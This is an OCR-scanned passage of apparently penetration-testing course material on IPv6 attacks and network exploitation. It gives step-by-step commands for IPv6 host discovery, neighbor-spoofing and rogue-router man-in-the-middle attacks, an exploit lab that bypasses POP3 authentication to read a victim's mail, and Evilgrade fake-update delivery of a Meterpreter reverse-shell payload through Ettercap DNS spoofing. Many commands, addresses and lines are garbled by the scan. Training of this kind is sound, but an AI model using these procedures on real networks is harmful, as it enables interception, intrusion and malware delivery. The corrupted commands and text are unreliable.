Optimistic Duplicate Address Detection (DAD) protocol defined in RFC 4429.

We can examine the configured IPv6 addresses for a given interface with the ifconfig command,
optionally limiting the output with the grep command as shown. In the example on this page, a
global allocation address is shown and noted as "Scope:Global". A second link local allocated
address is also shown, noted as "Scope:Link".

When necessary, it is possible to remove an [Pv6 address as well, using the ifconfig command and
the "inet6 del" directive, followed by the address and netmask to remove.
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Opportunities for Attacking IPv6

e IPv6 attacks can be local or remote

e Local attacks for "automatic" or unmanaged
IPv6 deployments
- Exploiting misconfigured host vulnerabilities
— Evading monitoring or controls limited to IPv4
— Requires LAN access, wired or wireless

e Remote attacks for IPv6 connected networks

— Similar vulnerabilities exploited remotely

Opportunities for Attacking IPv6

When attacking an IPv6 network, we can generally classify the attack techniques as those that can be
applicd locally with access to the same LAN as the target network, or remotely over the Internct.
Local IPv6 attacks gencrally take advantage of the automatic configuration of IPv6 nodes, evading
monitoring or network controls limited to IPv4 hosts.

Remote IPv6 attacks attempt to exploit weaknesses in remote IPv6 nodes over the Internet. Thesc
attacks arc typically similar to IPv4 attacks, similarly evading network controls limiting accessibility

to IPv4 hosts.

We'll look at both local and remote IPv6 attacks in this module, starting with local IPv6 network
discovery and manipulation.
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Local IPv6 Device Enumeration

- Active discovery, multicast ping to all link-local hosts

% ping6 -I eth0 ~-c 5 ££02::1 >/dev/null

$ ip -6 neigh

feB0::20c:2S%ff:feld 6a01 dev eth0 lladdr 00:0¢:29:14:6a:01 REACHABLE
fe8U;::6aabB:6dff:fed0:9864 dev ethl lladdr 68:a8:6d:40:95:64 REACHABLE
feBl::20c:29ff: fef3:a846 dev ethl0 lladdr 00:0c:29:f3:a8:46 REACHABLE

Passive discovery reporting Duplicate Address Detection activity

# detect-new-ip6 ethl
Started ICMPG6 DAD detection (Press Contrel-C to end)
batected new ip6 address: fc00:660:0:1::254

Detected new ip6 address: fc00:660:0:2::23 Write your own script to
Detected new ipé address: £c00:660:0:1::111 attack discovered devices.
# detect-new-ip6 eth0 ./your-custom-script.sh The first argument passed
LY to the script is the IPv6
address of the host.
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Local 1Pv6 Device Enumeration

Where the limited 1Pv4 address space makes it feasible to perform active scanning to identify target
devices, the extent of IPv6 address space makes similar active scanning impractical. With LAN
access to an organization's network, we can leverage both passive and active analysis techniques for
host discovery without exhaustively scanning IPv6 address ranges.

The IPv6 address f102::1 is used for contacting all link-local devices. Using the standard ping6
command on Linux systems, we can contact all the local devices on the network and record
responses as IPv6 ncighbors. After sending a small number of ping6 packets, the "ip -6 neigh"
command reveals several reachable targets. Note that all the reachable targets respond with their link
local address (using a prefix of fe80::/10) as this is the preferred address for hosts even when
configured with globally unique IPv6 addresscs.

To identify the globally unique IPv6 addresses used on some IPv6 deployments, we rely on passive
discovery techniques. When a device is configured with an IPv6 address manually or through
DHCPv6 or ICMPv6 Router Discovery (RD), it will send an ICMP Neighbor Solicitation (NS) query
to its configurcd address in the form of a multicast packet. All other nodes on the network will
receive the message, and ensure that the new address is not alrcady in use as part of a Duplicate
Address Discovery mechanism (DAD). By passively listening to these ICMPv6 NS, we can identify
the presence of new IPv6 devices joining the network.

The detect-new-ip6 tool, included in the THC-IPV6 suite of tools (http://thc.org/thc-ipv6/) can be
used to identify the presence of ICMPv6 NS messages as part of the DAD protocol, reporting the
presence of new [Pv6 nodes. The detect-new-ip6 tool can also run a specificd command or shell
script for cach discovered node, allowing you to automate scanning and exploitation of discovered
devices.
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Scanning IPv6 Hosts

e Nmap 6 has thorough IPv6 support

— QS fingerprinting, NSE scripts, SYN or
connect scans, ping scan

— Limited to individual address scanning
(no address ranges permitted)

# nmap -6 -sS8 -sC fc00:660:0:1::23

Starting Nmap 6.01 ( http://nmap.org )} at 2012-07-062 10:28 EDT
Nmap scan report for £c00:660:0:1::23

Host is up (0.0017s latency) .

Not shown: 998 closed ports

PORT STATE SERVICE

80/tecp open http

| http-title: COMPANY CONFIDENTIAL

3689/tcp open rendezvous

Advanced Penetradon Testing, | xploit Wriring, and Frhical Hacking

Scanning IPv6 Hosts

With the introduction of Nmap 6, robust scanning support for IPv6 was made available including the
ability to perform OS fingerprinting (-O), half-open scanning (TCP SYN, -sS), TCP connect
scanning (-sT), and ping scanning (-sn). Nmap can also utilize available Nmap Scripting Engine
(NSE) scripts to enumcratc and evaluate target hosts over IPv6 as well (-sC). To instruct Nmap to
perform IPv6 scanning, simply add the "-6" argument to the command line, and specify an IPv6
targct to scan.

Nmap 6 does not include the ability to scan a range of IPv6 addresses, raising an error anytime a
network mask or range is specified in the target designation. This is a minor inconvenicnee, but will
scrve as a reminder to users that scanning large range of IPv6 addresscs for host discovery is not an
effective usc of time.

154



IPv6 Neighbor Impersonation MitM

e IPv6 l'eplaCes ARP 1. Node A sends an ICMPv6 neighbor
H i solicitation (NS) to all multicast nodes |
with Neighbor FF02::1 to i(dentify node B's MAC |

Discovery (ND) address

2. Node B returns a neighbor

1. Node A sends an ICMPv6 neighbor advertisement (NA) to node A
solicitation (NS) to all multicast nodes 3. Attacker sends its own NA with node
FF02::1 to identify node B's MAC B's MAC address to node A with the
address NA Override flag set

2. Node B returns a neighbor 4. Node A sends all traffic destined to B

advertisement (NA) to node A through attacker
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IPv6 Neighbor Impersonation MitM

In IPv6 nctworks, the ARP protocol is no longer used, replaced by the Neighbor Discovery (ND)
process with ICMPv6. To resolve a MAC address for a given IPv6 address, a client uscs a two-step
procedure (shown on the left of this page):

I. The node sends an ICMPv6 Neighbor Solicitation (NS) message to the multicast
address.

2. The resolving node having observed the NS message for its [IPv6 address returns a
Neighbor Advertisement (NA) message back to the querying host.

Like the deprecated ARP protocol, the ICMPv6 ND mechanism is susceptible to spoofing and
manipulation to allow an attacker to establish a Man-in-the-Middle (MitM) attack (shown on the
right of this page):

1. The victim sends an ICMPv6 NS message to identify the target MAC address

2. The resolving node observes the NS message and returns an NA message to the vietim,

3. The attacker, having also scen the NS message, sends his own NA message
impersonating the legitimate node with the attacker's MAC address. The attacker's NA
message also sets the ICMPv6 Override flag in the NA responsc.

4. The victim receives the attacker's NA message and replaces the prior mapping entry due
to the use of the ICMPv6 Override flag.

In this way, an attacker can manipulate the victim into thinking that he is the legitimate destination.
All traffic sent from the victim to the "node B" in the illustration is sent to the attacker who may
optionally inspect or manipulate the traffic before deciding to drop or forward it to the intended
destination.

155



IPv6 Neighbor Impersonation
MitM Attack

e Implemented by THC-IPV6 parasite6 tool

e Useful for attacking link local autoconfiguration
(FE80::/10) networks

o Attempts to create symmetric MitM with
unsolicited NA with override

# sysctl -w net.ipvé.conf.all.forwarding=1

net.ipvé.conf.all. forwarding = 1

# parasite6 -1R ethO

Remember to enable routing (ip forwarding), you will denial service

otherwise!

Started ICMPE Neighbor Solicitation Interceptor (Press Control-C to

end) ..

Spoofed packet to £c00:660:0:1::2 as fc00:660:0:1::2

Spoofed packet to £c00:660:0:1::23 as fc00:660:0:1::
LOVANCEd PENCranon 1esnng, LAXpIot Wnong, and 1L hical Hacking

IPv6 Neighbor Impersonation MitM Attack

The IPv6 Neighbor Impersonation MitM attack is implemented by the THC-IPV6 tool "parasite6".
First, the attacker must configure their Linux host to forward IPv6 traffic as a router using sysctl,
setting the net.ipv6.conf.all.forwarding to 1. Next, the attacker starts the parasite6 tool using the "-1"
flag to loop and continue delivering the poisoned ICMPv6 NS messages. In order to establish a
symmetric MitM attack, the attacker also specifics the "-R" argument which will instruct parasite6 to
send unsolicited ICMPv6 NS messages to the destination [Pv6 node as well.

The IPv6 Neighbor Impersonation MitM attack is particularly useful when exploiting link local
autoconfiguration nodes (using the address prefix FE80::/10), and when the attack intends to exploit
a limited number of IPv6 targets. Since the attacker must send ICMPv6 NS messages frequently for
cach victim on the network, this attack docs not scale well where lots of target devices are being
exploited. In wide-scale IPv6 MitM attacks, an alternate attack technique using router impersonation
is recommended.
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IPv6 Router Advertisement MitM

» Nodes discover router l-gﬁggf%gnéﬂmgémrs

presence with ICMPv6 FF02::2 |
- . 2. Router returns a router advertisement
Router Solicitation (RS) ' (ra) to all multicast nodes FF02::1
3. Attacker sends his own RA with the

MESssages highest default router preference
o Router responds with | e B e by e A
i i i 4. Node A sends all traffic to the '
conflguratlon details attacker which is forwarded to the
for all nodes  legitimate router

e Attacker also claims to =
be a router, with a ) '
higher preference

IPv6 Router Advertisement MitM
As an alternative to the IPv6 Neighbor Impersonation MitM attack, an attacker can introduce an IPv6
router on the network by responding to IPv6 client Router Solicitation (RS) messages:

L.

2,

IPv6 nodes will regularly send ICMPv6 RS messages to discover the presence of IPv6
routers on the network using the anycast address FF02::2 (all routers)

IPv6 routers, upon receiving an ICMPv6 RS message will send a multicast message on
the network in the form of an ICMPv6 Router Advertisement (RA). RA messages are
sent to the all nodes multicast address FF02::1.

When the attacker wants to establish himself as the IPv6 default router, he sends his own
RA message to the all nodes multicast address. The attacker's RA message specifics that
his router has the highest preference, taking precedence over all prior legitimate RA
messages.

The victim, having observed the attacker's RA message with high preference, sends all
IPv6 traffic destined for remote networks to the attacker.
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IPv6 Router MitM Attack

o Use for attacking networks where other IPv6 routes

exist
o Setup IP forwarding and legitimate default IPv6 router
e Configure and start Linux IPv6 ' Specify the legitimate
router daemon . IPv6 address of the
: ; default gateway —
# sysctl -w net.ipv6.conf.all.forwarding=1 g

net.ipve.conf.all. forwarding = 1 el

# ip route add default via £c00:660:0:1::1 dev eth0

4 cat >/ete/radvd.conf

interface eth0 {

AdvSendhAdvert on; 4 Process should send advertisements

AdvDefaultPreference high; # Highest advertised preference
MinRtrAdvInterval 3; # 3 second minimum between ads
MaxRtrAdvInterval 4; £ 4 second maximum betwssn ads
prefix fc00:660:0:1::/64 { § Address space and prefix for

¥ # clients to use

}i

D

# radvd -C /etc/radvd.conf
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IPv6 Router MitM Attack

The IPv6 router MitM attack is uscful in environments where the attacker wants to establish a MitM
attack for all the LAN IPv6 victims, forwarding traffic to the legitimate IPv6 router or to the
attacker's own IPv6 connection to the Internet (possibly tunneled through an IPv4 connection).

To implement the IPv6 router MitM attack, the attacker must first configure IPv6 forwarding using
the Linux sysctl tool as shown. Next, the attacker should manually add a default route for usc in

forwarding traffic from victims to the legitimate router with the Linux "ip route add" command, as
shown.

Multiple options arc availablc for impersonating an IPv6 router including the THC-IPV6 tool
"fake_router6". A more robust approach is to simply configure the Linux IPv6 router software
"radvd" (http://www.litech.org/radvd) with the configuration directives specified on this page. Once
the attacker is ready to start the MitM attack, he only needs to start the radvd process, identifying the
desired configuration file with the "-C" argument.
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Remote IPv6 Attacks

» Requires direct access to IPv6 ISP, or tunneled
connection

¢ Free IPv6 tunneling solutions available from SixXS
or Hurricane Electric
— Obtain several static IP addresses for permanent use

e Dynamic but simple IPv6 tunneling with Teredo
tunnel and Linux miredo daemon

# ping6é ipwv6.google.com

connect: Network is unreachable

# miredo

# ping6 ipv6.google.com

PING ipvé6.google.com(lgal5s35-in-x11.1el00.net) 56 data bytes

64 bytes from lgal5s35-in-xl11.1el00.net: icmp _seq=1 ttl=5% time=18.9 ms

\dHHHTdikThH]ﬂHH.hW”Hﬁ.L\Phdl“Iﬂhﬁhﬂnd]|hﬁ$]IMLHHi

Remote IPv6 Attacks

Remote IPv6 attacks can also be used against an IPv6 connected organization. In this attack, the
attacker needs direct access to an IPv6 network (offered by some ISP's), or through an 1Pv4 to IPv6
tunneled connection.

Free IPv6 tunnel scrvices from SixXS (http://www.sixxs.net) and Hurricane Electric
(http://www.he.net) offer IPv4 to IPv6 tunneled access with a static IPv6 address. Configuring a
Linux host to create a tunnel with SixXS or Hurricant Electric starts with creating account on the
respective provider's website, then configuring your Linux host to cstablish a tunnel. A step by step
guide for configuring Ubuntu Linux (including Kali Linux) for SixXS or Hurricane Electric
tunneling is available at https://wiki.ubuntu.com/IPv6.

A simpler IPv6 tunnel option for Linux systems is to use the IPv6 Teredo tunneling protocol with the
"miredo” dacmon. Simply starting the miredo process on most Linux distributions will be sufficient
to establish an IPv6 conncction, allowing to you ping IPv6 hosts such as ipv6.google.com. Once the
Teredo tunnel is established. other scanning tools such as Nmap will also allow you to scan and
enumecratc remote IPv6 targets.

159



Remote IPv6 Discovery

No opportunity for multicast node discovery
with a remote IPv6 attack

Scanning IPv6 address space is impractical

Must rely on other enumeration techniques
— DNS, error message content, HTTP/JS content

Note IPv6 addresses of IPv4 compromised

ne. and Frhical Hacking

Remove IPv6 Discovery

The identification of remote IPv6 hosts is more complex than local node discovery. Without the
ability to observe multicast transmissions from remote IPv6 nodes, a penetration tester must seek
alternate node discovery techniques.

Remote IPv6 node discovery is still a developing reconnaissance technique, but it commonly
requires IPv6 information leakage over IPv4 protocol scanning and enumeration. For example, when
performing reconnaissance of a remote network over IPv4, we can use DNS lookups for the IPv6
AAAA rccord type to identify remote IPv6 hosts. Also, the inspection of error messages from web
servers, database scrvers and other services may also disclose the use of IPv6 networking in lcaked
address information.

When performing an attack against remote hosts, be sure to inspect the configuration of
compromised hosts to identify the presence of IPv6 configuration information. The compromise of
an IPv4 host may allow an attacker to pivot and escalate internal network access while bypassing
IDS or other monitoring systems by leveraging IPv6 as the transport mechanism.
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Working with IPv4-Only Tools

e Many tools are not yet ready to support IPv6
addresses

e Can accommodate IPv4-only tools with IPv4 to
IPv6 local proxy

Start socat proxy with IPv6 target address and port

 socat TCP-LISTEN:8080,reuseaddr,fork TCP6:[£e80: :6aal: 6dff:
fed0:9864]:80

| Target local listener port with tool

# ./nikto.pl -host 127.0.0.1 -port 8080
+ Target 1P: T2l

+ Target Hostname: localhost

+ Target Port: 3080

+ Server: Apache/2.2.21 (Unix) DAV/2

\dvanced Penerration Testing, Exploit Wridng, and Erhical Hacking

Working with 1Pv4-Only Tools

Many trusted attacks tools have not been updated to accommodate IPv6 addresses. In situations
where an [Pv4 tool is available to attack an IPv6 service, we can use a local IPv4 to IPv6 proxy,
translating all request traffic from IPv4 on the local systcm to IPv6 on the remote target.

The socat utility (http://www.dest-unrcach.org/socat/) is a multi-purpose relay tool, described as
“netcatt+" by some. In the example on this page, the socat utility starts a local TCP listener on port
8080, allowing multiple concurrent connections (reuscaddr) while forking a child process for each
new connection (fork). All connections are redirccted to a IPv6 TCP target at the specified IPv6
address over the ethO interfacc on TCP port 80.

After starting the socat utility, we can leverage a tool such as Nikto for scanning a remote IPv6 web
server, even though the Nikto tool does not natively accommodate 1Pv6 address targets.
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Exercise — IPv6 Attack (1)

e Passively identify active IPv6 nodes with
detect-new-ip6

e Scan and identify services accessible on
10.10.10.70/fc00:660:0:1::46 not
accessible on IPv4

¢ Identify and exploit service using jwpOppy
tool for the user "ejobs"

rration Testne, Exploit Wrinne, and Frhical Hacking

Exercise - IPv6 Attack (1)

Next we'll turn to a lab exercise to discover, scan and exploit a target IPv6 connected host. In this
exercise, cvaluate the lab network to identify and detect new IPv6 nodes using the THC-1Pv6 dctect-
new-ip6 tool.

Scan and identify the TCP services on the host at 10.10.10.70 for IPv4 and fc00:660:0:1::46 for IPv6.
Identify and exploit the [Pv6 service for the "cjobs" user with the jwpOppy exploit tool available at
http://files.sec660.org/jwpOppy.tgz.
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Exercise — IPv6 Attack (2)

e STOP - Answers for the IPv6 Attack
exercise follow
e Proceed only after you have exhausted

your options for completion on your
own

e Fach successive page offers a little
more help

Exercise - [Pv6 Attack (2)

Answers to the lab exercisc follow; proceed no further unless you have exhausted your options for
completing the exercisc on your own.
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IPv6 Device Discovery

e Ping the all link-local hosts address

e Investigate results in the Linux IP neighbor
table

\\ Make sure you have an
) address for fc00:660:0:1/64

# ifconfig eth0 | grep inet6
inet6 addr: fc00:660:0:1:20c:29ff:feck:5e06/64 Scope:Global
inet6 addr: feB0::20c:29ff:fech:5e06/64 Scope:Link
# ip -6 neigh
/some hosts; results will vary/
4 ping6 -I £c00:660:0:1:20c:29ff:fecb:5e06 ~c 3 ££02::1 >/dev/null
i ip -6 neigh
fcl0:660:0:1:4de;:835a:addb:5ba2 dev eth0 lladdr 58:55:ca:tld:3c:f1 STALE
Fc00:660:0:1:61le:64ff:fef0:7273 dev eth0 lladdr 04:le:;64:£0:72:73 STALE
foB0::1406:c77c:1992:bl7a dev ethl lladdr 70:11:24:1b:e3:93 STALE
feB0::5a6d:8fff:fe07:4e8d dev eth0 lladdr 58:6d:8£:07:4=2:8d STALE
fe80::20c:2%9ff:fe2a:16%6 dev eth0 lladdr 00:0c:29:2a:16:96 router STALE
fcO0:660:0:1;::46 dev ethl lladdr 00:0¢:29:2a:16:96 router RERCHRBLE

A

Results will vary; check
out this host!

e and Frthical Hacking
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IPv6 Device Discovery

In the classroom network, hosts will automatically obtain an IPv6 address with the aid of a local IPv6
router with the prefix fc00:660:0:1::/64. Make sure your Kali Linux host has an IPv6 address on this
network by running the ifconfig utility as shown. You can check the status of the Kali Linux Ethernet
adapter and IPv6 address with the ifconfig command, shown below. Contact an instructor if you do
not have an [Pv6 address starting with fc00:660:0:1.

After the attack host obtains an IPv6 address, identify the IPv6 neighbors known with the "ip -6
neigh" command. You will sce varied results depending on obscrved device discovery messages
from other nodes on the LAN, including IPv6 address in the fc00:660:0:1/64 network, and link-local
autoconfiguration addresses starting with fe80::/10.

Next, send several ping messages to the IPv6 all nodes multicast address (ff02::1) from the
fc0:660:0:1/64 address assigned to your network interface. In the example on this page we used the
address "£c00:660:0:1:20c:29ff:fecb:5e06"; you will need to specify
the IPvé address on your network interface. We also redirected the
output of the ping command to /dev/null for simplicity on this
page; you can redirect the output similarly or view the output
based on your preference.

Next, return to the "ip -6 neigh" command again. You will see
additional hosts displayed as targets. Note the presence of the
fc00:660:0:1::46 host. This will be our attack target for the
exercise.

Next, validate your conncctivity to the target system at 10.10.10.70 and £c00:660:0:1::46 using the
ping and ping6 utilitics.
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Scan Target: IPv4

# nmap -s3 10.10.10.70

Starting Nmap 6.40 ( http://nmap.org } at 2014-04-02 0B:10 EDT
Nmap scan report for files.sec660.org (10.10.10.70)

Host is up (0.079s latency).

Kot shown: 997 closed ports

PORT STATE SERVICE

22/tep  open ssh

80/tcp oapen http

443/tcp open  https

MAC Address: 00:50:56:86:55:03 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 15.26 seconds

Only SSH, HTTP, and HTTPS services are identified on IPv4

Scan Target: [Pv4
Perform a routing port scan against the target system at 10.10.10.70 using Nmap. Notc that the ports
reported as open arc limited to SSH, HTTP, and HTTPS.
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Scan Target: IPv6

# nmap =55 -6 fc00:660:0:1::

Starting Nmap 6.40 ( http://nmap.org ) at 2014-04-02 08:12 EDT
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergcing ND Ping
Scan

ND Ping Scan Timing: About 100.00% done; ETC: 08:12 (0:00:00
remaining)

Nmap scan report for fcQ0:660:0:1::46

Host is up (0.0012s latency).

Wot shown: 928 closed ports

EORT STATE SERVICE

22/tep  open ssh

110/tcp open pop3

MAC Address: 00:0C:29:2A:16:96 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 10.35 seconds
# ncé £c00:660:0:1::46 110

+0OK jwpopper POEF3 server ready

A

o4

POP3 bound to IPv6 stack, banner reveals "jwpopper"
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Scan Target: IPv6

Scan the target system again with Nmap, this time over the IPv6 stack. Note that a new service is
identified on TCP/110.

Connect to the target service using the nc6 utility. The returned banner reveals that the service does
appcar to be a POP3 server running the "jwpopper” POP3 daemon.

This POP3 dacmon is vulnerable to an authentication bypass flaw. For the target uscr "cjobs",
exploit the vulnerability using the jwpOppy exploit tool to obtain the victim's e-mail.
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Jwpopper Exploit: jwpOppy

e The jwpopper server is vulnerable to
an authentication bypass vulnerability

o Extract files from tarball, examine
README, build and launch exploit

# wget http://files.sec660.0rg/jwpOppy.tgz

# tar xfz jwpOppy.tgz

# ed jwpOppy

/iwplppy4 make

ce -Wall Jwplppy.c —-o jwplppy

/iwplppv# cat README

Jwpopper REMOTE EXPLOIT AUTHENTICATION BYPASS

inced Penerration Testing, Fxploit Writing, and Frhical Hacking

Jwpopper Exploit: jwp0ppy

The jwpOppy exploit is included on the course lab server; download it from the URL shown on this
page, then extract the tarball and compile the tool using the "make" utility. Examine the README
file to learn more about the exploit itself.

After learning more about the vulnerability and the exploit, leverage the jwpOppy tool to bypass
authentication on the server and obtain the secret e-mail associated with the "cjobs" account.
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JwpOppy Limitation

# ./jwpOppy
JwpOppy: Exploit for jwpopper POP3 server.

Allows us to get emall without a password.

usage: ./jwpUppy <hostname> <port> <username> [delay/usec]
# ./jwpOppy £c00:660:0:1::46 110 ejobs

jwpOppy: Exploit for jwpopper POP3 server.

Allows us to get e-mail without a password.

ERROR, no such host as fc00:660:0:1::46

jwpOppy tool is not written to accommodate IPv6 hosts. Could
re-write tool, or setup an IPv4 to IPv6 proxy.

JwpOppy Limitation

Attempting to exploit the jwpopper POP3 scrver with the jwpOppy tool proves difficult. The
jwpOppy tool, written in C, does not include support for an IPv6 target. Also, the POP3 port on the
[Pv4 stack is not listening, returning a "Connection refused"” error.

You could re-write the jwpOppy tool to include IPv6 support, but an casier option is available.

Configure an IPv4 to IPv6 proxy on your local Kali Linux system to facilitate the usc of the jwpOppy
tool against the IPv6 target system.
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IPv4 to IPv6 Proxy

Start socat proxy redirecting TCP/110 to IPv6 server
| # socat TCP-LISTEN:110,reuseaddr,fork TCP6:[£c00:660:0:1::46]:110

__E Run jwpOppy in another terminal using localhost as the target

# ./3wpOppy localhost 110 ejobs
Jwplppy: Exploit for jwpopper POP3 server.

Allows us to get email without a password,

L=+00(0) Co+- . —+00 (0) 0o+~ . =400 (0) Oo+-. =+00 () Dot+—, —+00 (0) Oot+=- . =+0

SCORE! +OK ejobs is welcome here.

Sending LIST:

+0K 1 messages (3265 octets) o

1 3265 ; If jwpOppy runs for several minutes

. without getting access to the server, stop
and re-start the exploit with a larger wait

Sending RETR: 2
+0K 3265 octets il time (dEfaurt 109500_0 LISEC)

Return-rPath: <jwrightfhasborg.com>
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IPv4 to IPv6 Proxy
In one terminal window, start the socat tool, listening on a local port of TCP/110, redirecting to the
same port number on the IPv6 host as shown here.

Next, in a different terminal window, return to the jwpOppy tool, this time specifying the local host as
the target. The jwpOppy tool will connect to the local socat listener, redirecting all the traffic to the
specificd IPv6 target system. After several scconds, the target system will be successfully exploited,

revealing a sensitive e-mail message for the targeted victim,

If jwpOppy runs for scveral minutes and does not grant access to the POP3 server, stop the exploit by
pressing "CTRL+C". Run the exploit again, adding a larger wait time value (such as 200,000 uscc).

Congratulations! This is the end of the lab excrcise.
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Exploiting the Network

SANS SEC660

Exploiting the Network
We'll finish 660.1°s material by looking at various methods for exploiting the network, attacking
client traffic and common network protocols.
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Network Exploitation

e Access to the network - check

e Ability to manipulate clients with
MITM - check

o Next, we'll look at techniques to
exploit clients and infrastructure
devices

ting, Fxploir Writing, and Iithical Hacking

Network Exploitation

So far we've looked at mechanisms to gain additional access to the network, through NAC bypass
methods or VLAN hopping. We've also looked at techniques in which we can manipulate the
network by implementing MITM attacks against multiple protocols including ARP, HSRP and
VRRP.

With access to the network, and the ability to manipulate network traffic, we are well-suited to start
taking advantage of network devices to exploit the network. Next we'll look at techniques to
leverage our access and MITM position to exploit clients and infrastructure devices alike.
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;0 I | Wa re The new veswon [1.0.2] is avallable. Would you ke dewnload the new
o version from the Sourcefocge pages?

e Many software packages check for updates
at each invocation

e Simplifies the update download, install
process

— Retrieves the new update, executes the install
automatically

e Sometimes updates are performed over SSL

— Commonly, updates are delivered over HTTP,
which can be manipulated

it Writing, and Ithical Hacking

Software Updates

A common behavior for modern software packages is to check for available updates when the
software is invoked, or otherwise at regular intervals. When an update is available, users are
prompted with a custom dialog (such as thc cxample on this slide) asking if they would like to
download and install the update. Answering "Yes" will often cause the process to download the
update and launch an installer automatically.

In some cases, the software update process is performed over SSL, providing a level of

confidentiality and integrity protection over the update process. Often however, the download
process is performed over HTTP, which gives an attacker the option to manipulate the process.
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ISR Evilgrade

» Modular exploit tool to spoof Software Update Responses
- "Yes, there IS an update available!"
e Delivers executable of your choosing to the victim
¢ Includes support for multiple vulnerable updaters
— JRE, WinZip, WinAmp, OpenOffice, iTunes, Notepad++ and more
¢ Relies on MITM from third-party attack
— LAN and Ettercap, or remote with DNS manipulation
e Perl-based console interface similar to Cisco I0S
— Output and navigation slightly messy

\dvaneed Penetration Testng, Exploit Wriring, and Frhical Hacking

ISR Evilgrade

ISR Evilgrade ("Evilgrade") is a modular exploit tool designed to exploit weak software update
methods written by Francisco Amato. Available at https://github.com/infobytc/cvilgrade, Evilgrade
monitors the network as MITM, using a list of software targets (Evilgrade "modules"). When
Evilgrade obscrves a request from a client to see if an update is availablc, it sends a spoofed response
back to the client, indicating that an updatc is available while dropping the legitimate responsc from
the server. In the spoofed response, Evilgrade indicates that the URL to download the software
exists on the attacker's system, pointing to a custom executable of the attacker's choosing.

Evilgrade comes with several pre-configured modules, supporting attacks against the Java Runtime
Enginc, WinZip, WinAmp, OpenOffice, iTuncs, Notepad++ and more. Modules are written in the
Perl scripting language, as is the Evilgrade engine, providing a Cisco 10S-like interface to loading

and executing attack modules.

In order to use Evilgrade, we must trick the client into thinking that we are the software update

server. This is typically done by manipulating DNS in conjunction with Ettercap or a preferred
MITM attack tool. Next, we'll look at this process step-by-step.
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Evilgrade Step 1: DNS
Manipulation with Ettercap

# echo "notepad-plus.sourceforge.net A 10.10.10.10" >>
/usc/local/share/ettercap/etter.dns
# sudo ettercap -TqM arp:remote // //

ettaercap 0.8.0 copyright 2001-2013 Ectzercap Development Team
P

Avzilable plugins :

[D] arp_cop 1.1 Report suspicious ARP activity

[0 dng_spoof 1. Sands spoofed dns replies

[Q} thos attack 1.0 Run a d.o.s. attack against an IP address
[G7 finger 1.6 Fingerprint a remote host

(ol finger submit 1.0 Submit a fingerprint to ettercap's website
[o1 1.0 Flood the LAN with random MAC addresses

[0] cremote browser 1.2 GBends wisited URLs to the browser

[0} smb_clear 1.6 Tries to foree SMB clearrext auth

fo} smb down 1.0 Tries tc foree SMB to not use HTLM2 key auth

Plugin name {0 to quit)!: dns_spoof
ARctivating dns spoof plugin...

\dvanced Penerration Testing, Fxploit Writing, and Ethical Hacking

Evilgrade Step 1: DNS Manipulation with Ettercap

For our example we'll look at manipulating the popular text-editor Notcpad++ update process. First,
we'll use Ettercap to create a MITM attack position and impersonate the notepad-
plus.sourceforge.net server used to check for update availability and to deliver the updated software.

Ettercap includes support for manipulating DNS responses, spoofing the DNS response for any
hostname you specify in the etter.dns file. On the top of this slide we append to the ctter.dns file an
A record for "notepad-plus.sourceforge.net", pointing to the attacker at 10.10.10.10.

Next we invoke Ettercap using ARP spoofing to create a MITM attack using the arguments we
examined carlier. After Ettercap starts, press "p" to list the available plugins (the list shown on this
slide has been trimmed for space). To load the dns_spoof plugin, which will leverage the etter.dns
file to obtain the list of hosts to impersonate, enter the plugin name "dns_spoof™ and press Enter.
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Evilgrade Step 2: Prepare
Executable to Deliver

e Evilgrade delivers malicious code with local web
server
~ Default is agent.exe in isr-evilgrade/agent directory
» Replace this file (Notepad clone) or change the
"agent" parameter in the module

$ cd /root/isr-evilgrade/agent

$ ./msfeli exploit/multi/handler
PAYLOAD=windows/meterpreter/reverse tcp LPORT=8080 LHOST=0.0.0.0 E
[*] Please wait while we load the module tree...

[*] Started reverse handler on 0,.0.0.0:8080

[*] Starting the payload handler...

Advanced Penerration Testng, Fxploit Wridng, and Fehical Hacking

Evilgrade Step 2: Prepare Executable to Deliver
Evilgrade includes its own web server that it uses to respond to software updatc checks, and to
deliver a malicious executable to the target. The default executable is included in Evilgrade's agent/

dircctory called "agent.exc", a Notepad clone in Spanish. We can replacc this file with any exploit of
our choosing.

For our example, we'll create a Metasploit executable using the Mcterpreter payload, launched in a
reverse TCP stager (the victim who runs the executable will push a Mcterpreter shell to the attacker).
First, we launch the msfpayload utility, specifying the attacker's IP address in the LHOST argument,
using TCP/8080 as the Meterpreter port with the LPORT argument. The output of msfpayload is
redirected to the isr-cvilgrade/agent/agent.exe file, though you could create this filc with any name
you specify in the agent/ directory.

Next, we'll start Metasploit and load the handler to accept connections from the Meterpreter payload,
again specifying the LPORT argument for TCP port 8080. The LHOST argument used by the
attacker can be sct to a specific IP address to launch the listencr on a specific interface, or set to
0.0.0.0 to listen and accept connections on all interfaces.
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Evilgrade Step 3: Configure
Upgrade Module

evilgraderconf notepadplus

evilgrads (notepadplus) >show options

Display opticns:

Name = notepadplus
Versicn = 1.0

Author = ["Francisco Amato < famato +[ATI+ infobyte.com.ar>"]

Description = "The epad++ use GUP generic updabte process so it''s boggy Lool™
VirtualHest = "notepad-plus.socurceforge.net”

| Wame | Befault | Deseription

e o i e +

| enable | L | status

| agent 1 ./agent/agent.exe | Agent to inject |

i S e T < e R W5 e LT '

evilgrade (notepadplus) >starct
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Evilgrade Step 3: Configure Upgrade Module

Next we invoke the "evilgrade" executable to invoke the handler for the Notepad++ software updatc
process. At the "evilgrade>" prompt, enter "conf notepadplus" to invoke the Notepad++
handler. For any Evilgrade module, running "show options" will display configuration
information and options that can be manipulated using the "set" command, such as the filecname to an
alternative executable to deliver to the attacker. Finally, launch the module by issuing the "start"
command, which will invoke the Evilgrade web server.
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Notepad++ Update Attack

| Co\Proguam Fes\Notepads - therme Ing - Notepad « =il

e bt Jesch Yeew Encodmg Levpuage Sefimgs Mecro B Tothd  Phgim  fadew A
a B o BRI DCIBE & =R B0 IRORCRRE TR T B
bl changaiog |

Netvepad++ ¥5.9 pew festures snd fixed bugs (from »5.7) :

1. Upgrade Jcineails Te wersion 2.21.
Fix a vulneraky iasue: Load Scinlewer.dll with ita full path oo avord hisack.
Fix Unicode file corzup &
Fix DBCS encodangs file sy
ng L 4

4

g Tix file contad
€. Tix php syntax
.
e

FEIight3d An update package s available, do you want to downioad ¢?
cked wind
wdocked wind  Chck Cancel button if you den't want to be bothered anymore,

Fix dragging
Fix draggang
